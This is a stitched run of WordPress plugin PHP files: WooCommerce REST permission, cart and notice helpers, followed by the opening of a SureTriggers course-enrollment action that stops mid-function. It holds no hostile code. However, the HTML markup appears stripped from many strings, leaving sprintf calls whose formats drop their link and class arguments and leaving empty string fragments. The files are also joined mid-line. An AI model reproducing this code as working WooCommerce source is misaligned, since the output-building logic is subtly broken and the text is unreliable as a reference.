*
* @since 2.6.0
* @param string $object Object.
* @param string $context Request context.
* @return bool
*/
function wc_rest_check_manager_permissions( $object, $context = 'read' ) {
$objects = array(
'reports' => 'view_woocommerce_reports',
'settings' => 'manage_woocommerce',
'system_status' => 'manage_woocommerce',
'attributes' => 'manage_product_terms',
'shipping_methods' => 'manage_woocommerce',
'payment_gateways' => 'manage_woocommerce',
'webhooks' => 'manage_woocommerce',
);
$permission = current_user_can( $objects[ $object ] );
return apply_filters( 'woocommerce_rest_check_permissions', $permission, $context, 0, $object );
}
/**
* Check product reviews permissions on REST API.
*
* @since 3.5.0
* @param string $context Request context.
* @param string $object_id Object ID.
* @return bool
*/
function wc_rest_check_product_reviews_permissions( $context = 'read', $object_id = 0 ) {
$permission = false;
$contexts = array(
'read' => 'moderate_comments',
'create' => 'edit_products',
'edit' => 'edit_products',
'delete' => 'edit_products',
'batch' => 'edit_products',
);
if ( $object_id > 0 ) {
$object = get_comment( $object_id );
if ( ! is_a( $object, 'WP_Comment' ) || get_comment_type( $object ) !== 'review' ) {
return false;
}
}
if ( isset( $contexts[ $context ] ) ) {
$permission = current_user_can( $contexts[ $context ], $object_id );
}
return apply_filters( 'woocommerce_rest_check_permissions', $permission, $context, $object_id, 'product_review' );
}
/**
* Returns true if the current REST request is from the product editor.
*
* @since 8.9.0
* @return bool
*/
function wc_rest_is_from_product_editor() {
return isset( $_SERVER['HTTP_X_WC_FROM_PRODUCT_EDITOR'] ) && '1' === $_SERVER['HTTP_X_WC_FROM_PRODUCT_EDITOR'];
}
/**
* Check if a REST namespace should be loaded. Useful to maintain site performance even when lots of REST namespaces are registered.
*
* @since 9.2.0.
*
* @param string $ns The namespace to check.
* @param string $rest_route (Optional) The REST route being checked.
*
* @return bool True if the namespace should be loaded, false otherwise.
*/
function wc_rest_should_load_namespace( string $ns, string $rest_route = '' ): bool {
if ( '' === $rest_route ) {
$rest_route = $GLOBALS['wp']->query_vars['rest_route'] ?? '';
}
if ( '' === $rest_route ) {
return true;
}
$rest_route = trailingslashit( ltrim( $rest_route, '/' ) );
$ns = trailingslashit( $ns );
/**
* Known namespaces that we know are safe to not load if the request is not for them. Namespaces not in this namespace should always be loaded, because we don't know if they won't be making another internal REST request to an unloaded namespace.
*/
$known_namespaces = array(
'wc/v1',
'wc/v2',
'wc/v3',
'wc-telemetry',
'wc-admin',
'wc-analytics',
'wc/store',
'wc/private',
);
$known_namespace_request = false;
foreach ( $known_namespaces as $known_namespace ) {
if ( str_starts_with( $rest_route, $known_namespace ) ) {
$known_namespace_request = true;
break;
}
}
if ( ! $known_namespace_request ) {
return true;
}
/**
* Filters whether a namespace should be loaded.
*
* @param bool $should_load True if the namespace should be loaded, false otherwise.
* @param string $ns The namespace to check.
* @param string $rest_route The REST route being checked.
* @param array $known_namespaces Known namespaces that we know are safe to not load if the request is not for them.
*
* @since 9.4
*/
return apply_filters( 'wc_rest_should_load_namespace', str_starts_with( $rest_route, $ns ), $ns, $rest_route, $known_namespaces );
}/**
* WooCommerce Cart Functions
*
* Functions for cart specific things.
*
* @package WooCommerce\Functions
* @version 2.5.0
*/
use Automattic\Jetpack\Constants;
use Automattic\WooCommerce\Enums\OrderStatus;
use Automattic\WooCommerce\StoreApi\Utilities\LocalPickupUtils;
defined( 'ABSPATH' ) || exit;
/**
* Prevent password protected products being added to the cart.
*
* @param bool $passed Validation.
* @param int $product_id Product ID.
* @return bool
*/
function wc_protected_product_add_to_cart( $passed, $product_id ) {
if ( post_password_required( $product_id ) ) {
$passed = false;
wc_add_notice( __( 'This product is protected and cannot be purchased.', 'woocommerce' ), 'error' );
}
return $passed;
}
add_filter( 'woocommerce_add_to_cart_validation', 'wc_protected_product_add_to_cart', 10, 2 );
/**
* Clears the cart session when called.
*/
function wc_empty_cart() {
if ( ! isset( WC()->cart ) || '' === WC()->cart ) {
WC()->cart = new WC_Cart();
}
WC()->cart->empty_cart( false );
}
/**
* Load the persistent cart.
*
* @param string $user_login User login.
* @param WP_User $user User data.
* @deprecated 2.3
*/
function wc_load_persistent_cart( $user_login, $user ) {
if ( ! $user || ! apply_filters( 'woocommerce_persistent_cart_enabled', true ) ) {
return;
}
$saved_cart = get_user_meta( $user->ID, '_woocommerce_persistent_cart_' . get_current_blog_id(), true );
if ( ! $saved_cart ) {
return;
}
$cart = WC()->session->cart;
if ( empty( $cart ) || ! is_array( $cart ) || 0 === count( $cart ) ) {
WC()->session->cart = $saved_cart['cart'];
}
}
/**
* Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer.
*
* Do not use for redirects, use {@see wp_get_referer()} instead.
*
* @since 2.6.1
* @return string|false Referer URL on success, false on failure.
*/
function wc_get_raw_referer() {
if ( function_exists( 'wp_get_raw_referer' ) ) {
return wp_get_raw_referer();
}
if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) { // WPCS: input var ok, CSRF ok.
return wp_unslash( $_REQUEST['_wp_http_referer'] ); // WPCS: input var ok, CSRF ok, sanitization ok.
} elseif ( ! empty( $_SERVER['HTTP_REFERER'] ) ) { // WPCS: input var ok, CSRF ok.
return wp_unslash( $_SERVER['HTTP_REFERER'] ); // WPCS: input var ok, CSRF ok, sanitization ok.
}
return false;
}
/**
* Add to cart messages.
*
* @param int|array $products Product ID list or single product ID.
* @param bool $show_qty Should quantities be shown? Added in 2.6.0.
* @param bool $return Return message rather than add it.
*
* @return mixed
*/
function wc_add_to_cart_message( $products, $show_qty = false, $return = false ) {
$titles = array();
$count = 0;
if ( ! is_array( $products ) ) {
$products = array( $products => 1 );
$show_qty = false;
}
if ( ! $show_qty ) {
$products = array_fill_keys( array_keys( $products ), 1 );
}
$product_id = null;
foreach ( $products as $product_id => $qty ) {
/* translators: %s: product name */
$titles[] = apply_filters( 'woocommerce_add_to_cart_qty_html', ( $qty > 1 ? absint( $qty ) . ' × ' : '' ), $product_id ) . apply_filters( 'woocommerce_add_to_cart_item_name_in_quotes', sprintf( _x( '“%s”', 'Item name in quotes', 'woocommerce' ), strip_tags( get_the_title( $product_id ) ) ), $product_id );
$count += $qty;
}
$titles = array_filter( $titles );
/* translators: %s: product name */
$added_text = sprintf( _n( '%s has been added to your cart.', '%s have been added to your cart.', $count, 'woocommerce' ), wc_format_list_of_items( $titles ) );
// Output success messages.
$wp_button_class = wc_wp_theme_get_element_class_name( 'button' ) ? ' ' . wc_wp_theme_get_element_class_name( 'button' ) : '';
if ( 'yes' === get_option( 'woocommerce_cart_redirect_after_add' ) ) {
$return_to = apply_filters( 'woocommerce_continue_shopping_redirect', wc_get_raw_referer() ? wp_validate_redirect( wc_get_raw_referer(), false ) : wc_get_page_permalink( 'shop' ) );
$message = sprintf( '%s %s', esc_html( $added_text ), esc_url( $return_to ), esc_attr( $wp_button_class ), esc_html__( 'Continue shopping', 'woocommerce' ) );
} else {
$message = sprintf( '%s %s', esc_html( $added_text ), esc_url( wc_get_cart_url() ), esc_attr( $wp_button_class ), esc_html__( 'View cart', 'woocommerce' ) );
}
if ( has_filter( 'wc_add_to_cart_message' ) ) {
wc_deprecated_function( 'The wc_add_to_cart_message filter', '3.0', 'wc_add_to_cart_message_html' );
$message = apply_filters( 'wc_add_to_cart_message', $message, $product_id );
}
$message = apply_filters( 'wc_add_to_cart_message_html', $message, $products, $show_qty );
if ( $return ) {
return $message;
} else {
wc_add_notice( $message, apply_filters( 'woocommerce_add_to_cart_notice_type', 'success' ) );
}
}
/**
* Comma separate a list of item names, and replace final comma with 'and'.
*
* @param array $items Cart items.
* @return string
*/
function wc_format_list_of_items( $items ) {
$item_string = '';
foreach ( $items as $key => $item ) {
$item_string .= $item;
if ( count( $items ) === $key + 2 ) {
$item_string .= ' ' . __( 'and', 'woocommerce' ) . ' ';
} elseif ( count( $items ) !== $key + 1 ) {
$item_string .= ', ';
}
}
return $item_string;
}
/**
* Clear cart after payment.
*/
function wc_clear_cart_after_payment() {
global $wp;
$should_clear_cart_after_payment = false;
$after_payment = false;
// If the order has been received, clear the cart.
if ( ! empty( $wp->query_vars['order-received'] ) ) {
$order_id = absint( $wp->query_vars['order-received'] );
$order_key = isset( $_GET['key'] ) ? wc_clean( wp_unslash( $_GET['key'] ) ) : ''; // WPCS: input var ok, CSRF ok.
if ( $order_id > 0 ) {
$order = wc_get_order( $order_id );
if ( $order instanceof WC_Order && hash_equals( $order->get_order_key(), $order_key ) ) {
$should_clear_cart_after_payment = true;
$after_payment = true;
}
}
}
// If the order is awaiting payment, and we haven't already decided to clear the cart, check the order status.
if ( is_object( WC()->session ) && WC()->session->order_awaiting_payment > 0 && ! $should_clear_cart_after_payment ) {
$order = wc_get_order( WC()->session->order_awaiting_payment );
if ( $order instanceof WC_Order && $order->get_id() > 0 ) {
// If the order status is neither pending, failed, nor cancelled, the order must have gone through.
$should_clear_cart_after_payment = ! $order->has_status( array( OrderStatus::FAILED, OrderStatus::PENDING, OrderStatus::CANCELLED ) );
$after_payment = true;
}
}
// If it doesn't look like a payment happened, bail early.
if ( ! $after_payment ) {
return;
}
/**
* Determine whether the cart should be cleared after payment.
*
* @since 9.3.0
* @param bool $should_clear_cart_after_payment Whether the cart should be cleared after payment.
*/
$should_clear_cart_after_payment = apply_filters( 'woocommerce_should_clear_cart_after_payment', $should_clear_cart_after_payment );
if ( $should_clear_cart_after_payment ) {
WC()->cart->empty_cart();
}
}
add_action( 'template_redirect', 'wc_clear_cart_after_payment', 20 );
/**
* Get the subtotal.
*/
function wc_cart_totals_subtotal_html() {
echo WC()->cart->get_cart_subtotal(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
/**
* Get shipping methods.
*/
function wc_cart_totals_shipping_html() {
$packages = WC()->shipping()->get_packages();
$first = true;
foreach ( $packages as $i => $package ) {
$chosen_method = isset( WC()->session->chosen_shipping_methods[ $i ] ) ? WC()->session->chosen_shipping_methods[ $i ] : '';
$product_names = array();
if ( count( $packages ) > 1 ) {
foreach ( $package['contents'] as $item_id => $values ) {
$product_names[ $item_id ] = $values['data']->get_name() . ' ×' . $values['quantity'];
}
$product_names = apply_filters( 'woocommerce_shipping_package_details_array', $product_names, $package );
}
wc_get_template(
'cart/cart-shipping.php',
array(
'package' => $package,
'available_methods' => $package['rates'],
'show_package_details' => count( $packages ) > 1,
'show_shipping_calculator' => is_cart() && apply_filters( 'woocommerce_shipping_show_shipping_calculator', $first, $i, $package ),
'package_details' => implode( ', ', $product_names ),
/* translators: %d: shipping package number */
'package_name' => apply_filters( 'woocommerce_shipping_package_name', ( ( $i + 1 ) > 1 ) ? sprintf( _x( 'Shipping %d', 'shipping packages', 'woocommerce' ), ( $i + 1 ) ) : _x( 'Shipping', 'shipping packages', 'woocommerce' ), $i, $package ),
'index' => $i,
'chosen_method' => $chosen_method,
'formatted_destination' => WC()->countries->get_formatted_address( $package['destination'], ', ' ),
'has_calculated_shipping' => WC()->customer->has_calculated_shipping(),
)
);
$first = false;
}
}
/**
* Get taxes total.
*/
function wc_cart_totals_taxes_total_html() {
echo apply_filters( 'woocommerce_cart_totals_taxes_total_html', wc_price( WC()->cart->get_taxes_total() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
/**
* Get a coupon label.
*
* @param string|WC_Coupon $coupon Coupon data or code.
* @param bool $echo Echo or return.
*
* @return string
*/
function wc_cart_totals_coupon_label( $coupon, $echo = true ) {
if ( is_string( $coupon ) ) {
$coupon = new WC_Coupon( $coupon );
}
/* translators: %s: coupon code */
$label = apply_filters( 'woocommerce_cart_totals_coupon_label', sprintf( esc_html__( 'Coupon: %s', 'woocommerce' ), $coupon->get_code() ), $coupon );
if ( $echo ) {
echo $label; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
} else {
return $label;
}
}
/**
* Get coupon display HTML.
*
* @param string|WC_Coupon $coupon Coupon data or code.
*/
function wc_cart_totals_coupon_html( $coupon ) {
if ( is_string( $coupon ) ) {
$coupon = new WC_Coupon( $coupon );
}
$amount = WC()->cart->get_coupon_discount_amount( $coupon->get_code(), WC()->cart->display_cart_ex_tax );
$discount_amount_html = '-' . wc_price( $amount );
if ( $coupon->get_free_shipping() && empty( $amount ) ) {
$discount_amount_html = __( 'Free shipping coupon', 'woocommerce' );
}
$discount_amount_html = apply_filters( 'woocommerce_coupon_discount_amount_html', $discount_amount_html, $coupon );
$coupon_html = $discount_amount_html . ' ' . __( '[Remove]', 'woocommerce' ) . '';
echo wp_kses( apply_filters( 'woocommerce_cart_totals_coupon_html', $coupon_html, $coupon, $discount_amount_html ), array_replace_recursive( wp_kses_allowed_html( 'post' ), array( 'a' => array( 'data-coupon' => true ) ) ) ); // phpcs:ignore PHPCompatibility.PHP.NewFunctions.array_replace_recursiveFound
}
/**
* Get order total html including inc tax if needed.
*/
function wc_cart_totals_order_total_html() {
$value = '' . WC()->cart->get_total() . ' ';
// If prices are tax inclusive, show taxes here.
if ( wc_tax_enabled() && WC()->cart->display_prices_including_tax() ) {
$tax_string_array = array();
$cart_tax_totals = WC()->cart->get_tax_totals();
if ( get_option( 'woocommerce_tax_total_display' ) === 'itemized' ) {
foreach ( $cart_tax_totals as $code => $tax ) {
$tax_string_array[] = sprintf( '%s %s', $tax->formatted_amount, $tax->label );
}
} elseif ( ! empty( $cart_tax_totals ) ) {
$tax_string_array[] = sprintf( '%s %s', wc_price( WC()->cart->get_taxes_total( true, true ) ), WC()->countries->tax_or_vat() );
}
if ( ! empty( $tax_string_array ) ) {
$taxable_address = WC()->customer->get_taxable_address();
if ( WC()->customer->is_customer_outside_base() && ! WC()->customer->has_calculated_shipping() ) {
$country = WC()->countries->estimated_for_prefix( $taxable_address[0] ) . WC()->countries->countries[ $taxable_address[0] ];
/* translators: 1: tax amount 2: country name */
$tax_text = wp_kses_post( sprintf( __( '(includes %1$s estimated for %2$s)', 'woocommerce' ), implode( ', ', $tax_string_array ), $country ) );
} else {
/* translators: %s: tax amount */
$tax_text = wp_kses_post( sprintf( __( '(includes %s)', 'woocommerce' ), implode( ', ', $tax_string_array ) ) );
}
$value .= '' . $tax_text . '';
}
}
echo apply_filters( 'woocommerce_cart_totals_order_total_html', $value ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
/**
* Get the fee value.
*
* @param object $fee Fee data.
*/
function wc_cart_totals_fee_html( $fee ) {
$cart_totals_fee_html = WC()->cart->display_prices_including_tax() ? wc_price( $fee->total + $fee->tax ) : wc_price( $fee->total );
echo apply_filters( 'woocommerce_cart_totals_fee_html', $cart_totals_fee_html, $fee ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
/**
* Get a shipping methods full label including price.
*
* @param WC_Shipping_Rate $method Shipping method rate data.
* @return string
*/
function wc_cart_totals_shipping_method_label( $method ) {
$label = $method->get_label();
$has_cost = 0 < $method->cost;
$hide_cost = ! $has_cost && in_array( $method->get_method_id(), array( 'free_shipping', 'local_pickup' ), true );
if ( $has_cost && ! $hide_cost ) {
if ( WC()->cart->display_prices_including_tax() ) {
$label .= ': ' . wc_price( $method->cost + $method->get_shipping_tax() );
if ( $method->get_shipping_tax() > 0 && ! wc_prices_include_tax() ) {
$label .= ' ' . WC()->countries->inc_tax_or_vat() . '';
}
} else {
$label .= ': ' . wc_price( $method->cost );
if ( $method->get_shipping_tax() > 0 && wc_prices_include_tax() ) {
$label .= ' ' . WC()->countries->ex_tax_or_vat() . '';
}
}
}
return apply_filters( 'woocommerce_cart_shipping_method_full_label', $label, $method );
}
/**
* Round discount.
*
* @param double $value Amount to round.
* @param int $precision DP to round.
* @return float
*/
function wc_cart_round_discount( $value, $precision ) {
return wc_round_discount( $value, $precision );
}
/**
* Gets chosen shipping method IDs from chosen_shipping_methods session, without instance IDs.
*
* @since 2.6.2
* @return string[]
*/
function wc_get_chosen_shipping_method_ids() {
if ( ! is_callable( array( WC()->session, 'get' ) ) ) {
return array();
}
$chosen_methods = WC()->session->get( 'chosen_shipping_methods', array() );
$method_ids = array();
foreach ( $chosen_methods as $chosen_method ) {
if ( ! is_string( $chosen_method ) ) {
continue;
}
$chosen_method = explode( ':', $chosen_method );
$method_ids[] = current( $chosen_method );
}
return $method_ids;
}
/**
* Get chosen method for package from session.
*
* @since 3.2.0
* @param int $key Key of package.
* @param array $package Package data array.
* @return string|bool Either the chosen method ID or false if nothing is chosen yet.
*/
function wc_get_chosen_shipping_method_for_package( $key, $package ) {
if ( ! is_callable( array( WC()->session, 'get' ) ) ) {
return false;
}
$chosen_methods = WC()->session->get( 'chosen_shipping_methods', array() );
$chosen_method = isset( $chosen_methods[ $key ] ) ? $chosen_methods[ $key ] : false;
$changed = wc_shipping_methods_have_changed( $key, $package );
// This is deprecated but here for BW compat. Remove in 4.0.0.
$method_counts = WC()->session->get( 'shipping_method_counts' );
if ( ! empty( $method_counts[ $key ] ) ) {
$method_count = absint( $method_counts[ $key ] );
} else {
$method_count = 0;
}
if ( ! isset( $package['rates'] ) || ! is_array( $package['rates'] ) ) {
$package['rates'] = array();
}
// If not set, not available, or available methods have changed, set to the DEFAULT option.
if ( ! $chosen_method || $changed || ! isset( $package['rates'][ $chosen_method ] ) || count( $package['rates'] ) !== $method_count ) {
$chosen_method = wc_get_default_shipping_method_for_package( $key, $package, $chosen_method );
$chosen_methods[ $key ] = $chosen_method;
$method_counts[ $key ] = count( $package['rates'] );
WC()->session->set( 'chosen_shipping_methods', $chosen_methods );
WC()->session->set( 'shipping_method_counts', $method_counts );
/**
* Fires when a shipping method is chosen.
*
* @since 3.2.0
* @param string $chosen_method Chosen shipping method. e.g. flat_rate:1.
*/
do_action( 'woocommerce_shipping_method_chosen', $chosen_method );
}
return $chosen_method;
}
/**
* Choose the default method for a package.
*
* @since 3.2.0
* @param int $key Key of package.
* @param array $package Package data array.
* @param string $chosen_method Chosen shipping method. e.g. flat_rate:1.
* @return string
*/
function wc_get_default_shipping_method_for_package( $key, $package, $chosen_method ) {
$chosen_method_id = current( explode( ':', $chosen_method ) );
$rate_keys = array_keys( $package['rates'] );
$chosen_method_exists = in_array( $chosen_method, $rate_keys, true );
/**
* If the customer has selected local pickup, keep it selected if it's still in the package. We don't want to auto
* toggle between shipping and pickup even if available shipping methods are changed.
*
* This is important for block-based checkout where there is an explicit toggle between shipping and pickup.
*/
$local_pickup_method_ids = LocalPickupUtils::get_local_pickup_method_ids();
$is_local_pickup_chosen = in_array( $chosen_method_id, $local_pickup_method_ids, true );
// Default to the first method in the package. This can be sorted in the backend by the merchant.
$default = current( $rate_keys );
// Default to local pickup if its chosen already.
if ( $chosen_method_exists && $is_local_pickup_chosen ) {
$default = $chosen_method;
} else {
// Check coupons to see if free shipping is available. If it is, we'll use that method as the default.
$coupons = WC()->cart->get_coupons();
foreach ( $coupons as $coupon ) {
if ( $coupon->get_free_shipping() ) {
foreach ( $rate_keys as $rate_key ) {
if ( 0 === stripos( $rate_key, 'free_shipping' ) ) {
$default = $rate_key;
break;
}
}
break;
}
}
}
/**
* Filters the default shipping method for a package.
*
* @since 3.2.0
* @param string $default Default shipping method.
* @param array $rates Shipping rates.
* @param string $chosen_method Chosen method id.
*/
return (string) apply_filters( 'woocommerce_shipping_chosen_method', $default, $package['rates'], $chosen_method );
}
/**
* See if the methods have changed since the last request.
*
* @since 3.2.0
* @param int $key Key of package.
* @param array $package Package data array.
* @return bool
*/
function wc_shipping_methods_have_changed( $key, $package ) {
if ( ! is_callable( array( WC()->session, 'get' ) ) ) {
return false;
}
// Lookup previous methods from session.
$previous_shipping_methods = WC()->session->get( 'previous_shipping_methods' );
// Get new and old rates.
$new_rates = array_keys( $package['rates'] );
$prev_rates = isset( $previous_shipping_methods[ $key ] ) ? $previous_shipping_methods[ $key ] : false;
// Update session.
$previous_shipping_methods[ $key ] = $new_rates;
WC()->session->set( 'previous_shipping_methods', $previous_shipping_methods );
return $new_rates !== $prev_rates;
}
/**
* Gets a hash of important product data that when changed should cause cart items to be invalidated.
*
* The woocommerce_cart_item_data_to_validate filter can be used to add custom properties.
*
* @param WC_Product $product Product object.
* @return string
*/
function wc_get_cart_item_data_hash( $product ) {
return md5(
wp_json_encode(
apply_filters(
'woocommerce_cart_item_data_to_validate',
array(
'type' => $product->get_type(),
'attributes' => 'variation' === $product->get_type() ? $product->get_variation_attributes() : '',
),
$product
)
)
);
}/**
* WooCommerce Message Functions
*
* Functions for error/message handling and display.
*
* @package WooCommerce\Functions
* @version 2.1.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Get the count of notices added, either for all notices (default) or for one.
* particular notice type specified by $notice_type.
*
* @since 2.1
* @param string $notice_type Optional. The name of the notice type - either error, success or notice.
* @return int
*/
function wc_notice_count( $notice_type = '' ) {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.3' );
return;
}
$notice_count = 0;
$all_notices = WC()->session->get( 'wc_notices', array() );
if ( isset( $all_notices[ $notice_type ] ) && is_array( $all_notices[ $notice_type ] ) ) {
$notice_count = count( $all_notices[ $notice_type ] );
} elseif ( empty( $notice_type ) ) {
foreach ( $all_notices as $notices ) {
if ( is_countable( $notices ) ) {
$notice_count += count( $notices );
}
}
}
return $notice_count;
}
/**
* Check if a notice has already been added.
*
* @since 2.1
* @param string $message The text to display in the notice.
* @param string $notice_type Optional. The name of the notice type - either error, success or notice.
* @return bool
*/
function wc_has_notice( $message, $notice_type = 'success' ) {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.3' );
return false;
}
$notices = WC()->session->get( 'wc_notices', array() );
$notices = isset( $notices[ $notice_type ] ) ? $notices[ $notice_type ] : array();
return array_search( $message, wp_list_pluck( $notices, 'notice' ), true ) !== false;
}
/**
* Add and store a notice.
*
* @since 2.1
* @version 3.9.0
* @param string $message The text to display in the notice.
* @param string $notice_type Optional. The name of the notice type - either error, success or notice.
* @param array $data Optional notice data.
*/
function wc_add_notice( $message, $notice_type = 'success', $data = array() ) {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.3' );
return;
}
$notices = WC()->session->get( 'wc_notices', array() );
// Backward compatibility.
if ( 'success' === $notice_type ) {
$message = apply_filters( 'woocommerce_add_message', $message );
}
$message = apply_filters( 'woocommerce_add_' . $notice_type, $message );
if ( ! empty( $message ) ) {
$notices[ $notice_type ][] = array(
'notice' => $message,
'data' => $data,
);
}
WC()->session->set( 'wc_notices', $notices );
}
/**
* Set all notices at once.
*
* @since 2.6.0
* @param array[] $notices Array of notices.
*/
function wc_set_notices( $notices ) {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.6' );
return;
}
WC()->session->set( 'wc_notices', $notices );
}
/**
* Unset all notices.
*
* @since 2.1
*/
function wc_clear_notices() {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.3' );
return;
}
WC()->session->set( 'wc_notices', null );
}
/**
* Prints messages and errors which are stored in the session, then clears them.
*
* @since 2.1
* @param bool $return true to return rather than echo. @since 3.5.0.
* @return string|void
*/
function wc_print_notices( $return = false ) {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.3' );
return;
}
$session = WC()->session;
// If the session handler has not initialized, there will be no notices for us to read.
if ( null === $session ) {
return;
}
$all_notices = $session->get( 'wc_notices', array() );
$notice_types = apply_filters( 'woocommerce_notice_types', array( 'error', 'success', 'notice' ) );
// Buffer output.
ob_start();
foreach ( $notice_types as $notice_type ) {
if ( wc_notice_count( $notice_type ) > 0 ) {
$messages = array();
foreach ( $all_notices[ $notice_type ] as $notice ) {
$messages[] = isset( $notice['notice'] ) ? $notice['notice'] : $notice;
}
wc_get_template(
"notices/{$notice_type}.php",
array(
'messages' => array_filter( $messages ), // @deprecated 3.9.0
'notices' => array_filter( $all_notices[ $notice_type ] ),
)
);
}
}
wc_clear_notices();
$notices = wc_kses_notice( ob_get_clean() );
if ( $return ) {
return $notices;
}
echo $notices; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
/**
* Print a single notice immediately.
*
* @since 2.1
* @version 3.9.0
* @param string $message The text to display in the notice.
* @param string $notice_type Optional. The singular name of the notice type - either error, success or notice.
* @param array $data Optional notice data. @since 3.9.0.
* @param bool $return true to return rather than echo. @since 7.7.0.
*/
function wc_print_notice( $message, $notice_type = 'success', $data = array(), $return = false ) {
if ( 'success' === $notice_type ) {
$message = apply_filters( 'woocommerce_add_message', $message );
}
$message = apply_filters( 'woocommerce_add_' . $notice_type, $message );
// Buffer output.
ob_start();
wc_get_template(
"notices/{$notice_type}.php",
array(
'messages' => array( $message ), // @deprecated 3.9.0
'notices' => array(
array(
'notice' => $message,
'data' => $data,
),
),
)
);
$notice = wc_kses_notice( ob_get_clean() );
if ( $return ) {
return $notice;
}
echo $notice; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
/**
* Returns all queued notices, optionally filtered by a notice type.
*
* @since 2.1
* @version 3.9.0
* @param string $notice_type Optional. The singular name of the notice type - either error, success or notice.
* @return array[]
*/
function wc_get_notices( $notice_type = '' ) {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.3' );
return;
}
$all_notices = WC()->session->get( 'wc_notices', array() );
if ( empty( $notice_type ) ) {
$notices = $all_notices;
} elseif ( isset( $all_notices[ $notice_type ] ) ) {
$notices = $all_notices[ $notice_type ];
} else {
$notices = array();
}
return $notices;
}
/**
* Add notices for WP Errors.
*
* @param WP_Error $errors Errors.
*/
function wc_add_wp_error_notices( $errors ) {
if ( is_wp_error( $errors ) && $errors->get_error_messages() ) {
foreach ( $errors->get_error_messages() as $error ) {
wc_add_notice( $error, 'error' );
}
}
}
/**
* Filters out the same tags as wp_kses_post, but allows tabindex for element.
*
* @since 3.5.0
* @param string $message Content to filter through kses.
* @return string
*/
function wc_kses_notice( $message ) {
$allowed_tags = array_replace_recursive(
wp_kses_allowed_html( 'post' ),
array(
'a' => array(
'tabindex' => true,
),
)
);
/**
* Kses notice allowed tags.
*
* @since 3.9.0
* @param array[]|string $allowed_tags An array of allowed HTML elements and attributes, or a context name such as 'post'.
*/
return wp_kses( $message, apply_filters( 'woocommerce_kses_notice_allowed_tags', $allowed_tags ) );
}
/**
* Get notice data attribute.
*
* @since 3.9.0
* @param array $notice Notice data.
* @return string
*/
function wc_get_notice_data_attr( $notice ) {
if ( empty( $notice['data'] ) ) {
return;
}
$attr = '';
foreach ( $notice['data'] as $key => $value ) {
$attr .= sprintf(
' data-%1$s="%2$s"',
sanitize_title( $key ),
esc_attr( $value )
);
}
return $attr;
}/**
* EnrollUserToCourse.
* php version 5.6
*
* @category EnrollUserToCourse
* @package SureTriggers
* @author BSF
* @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3
* @link https://www.brainstormforce.com/
* @since 1.0.0
*/
use SureTriggers\Integrations\AutomateAction;
use SureTriggers\Traits\SingletonLoader;
use STM_LMS\STM_LMS_Mails;
/**
* EnrollUserToCourse
*
* @category EnrollUserToCourse
* @package SureTriggers
* @author BSF
* @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3
* @link https://www.brainstormforce.com/
* @since 1.0.0
*/
class EnrollUserToCourse extends AutomateAction {
/**
* Integration type.
*
* @var string
*/
public $integration = 'MasterStudyLms';
/**
* Action name.
*
* @var string
*/
public $action = 'enroll_user_to_course';
use SingletonLoader;
/**
* Register a action.
*
* @param array $actions actions.
* @return array
*/
public function register( $actions ) {
$actions[ $this->integration ][ $this->action ] = [
'label' => __( 'Enroll User To Course', 'suretriggers' ),
'action' => $this->action,
'function' => [ $this, 'action_listener' ],
];
return $actions;
}
/**
* Action listener.
*
* @param int $user_id user_id.
* @param int $automation_id automation_id.
* @param array $fields fields.
* @param array $selected_options selectedOptions.
* @psalm-suppress UndefinedMethod
* @throws Exception Exception.
*
* @return array|bool|void
*/
public function _action_listener( $user_id, $automation_id, $fields, $selected_options ) {
$course_id = $selected_options['course'];
$user_id = $selected_options['wp_user_email'];
if ( is_email( $user_id ) ) {
$user = get_user_by( 'email', $user_id );
if ( $user ) {
$user_id = $user->ID;
} else {
$email = $user_id;
$username = sanitize_title( $email );
$password = wp_generate_password();
$user_id = wp_create_user( $username, $password, $email );
$subject = esc_html__( 'Login credentials for your course', 'suretriggers' );
$site_url = get_bloginfo( 'url' );
$message = sprintf(
esc_html__( 'Login: %1$s Password: %2$s Site URL: %3$s', 'suretriggers' ),
$username,
$password,
$site_url
);
if ( class_exists( '\STM_LMS_Mails' ) ) {
// The STM_LMS_Mails class exists, so we can use it.
\STM_LMS_Mails::wp_mail_text_html();
\STM_LMS_Mails::send_email( $subject, $message, $email, [], 'stm_lms_new_user_creds', compact( 'username', 'password', 'site_url' ) );
\STM_LMS_Mails::remove_wp_mail_text_html();
}
}
} else {
$error = [
'status' => esc_attr__( 'Error', 'suretriggers' ),
'response' => esc_attr__( 'Please enter valid email address.', 'suretriggers' ),
];
return $error;
}
// Enroll the user in the course if they are not already enrolled.
if ( function_exists( 'stm_lms_get_user_course' ) ) {
$course = stm_lms_get_user_course( $user_id, $course_id, [ 'user_course_id' ] );
if ( ! count( $course ) ) {
if ( class_exists( '\STM_LMS_Course' ) ) {
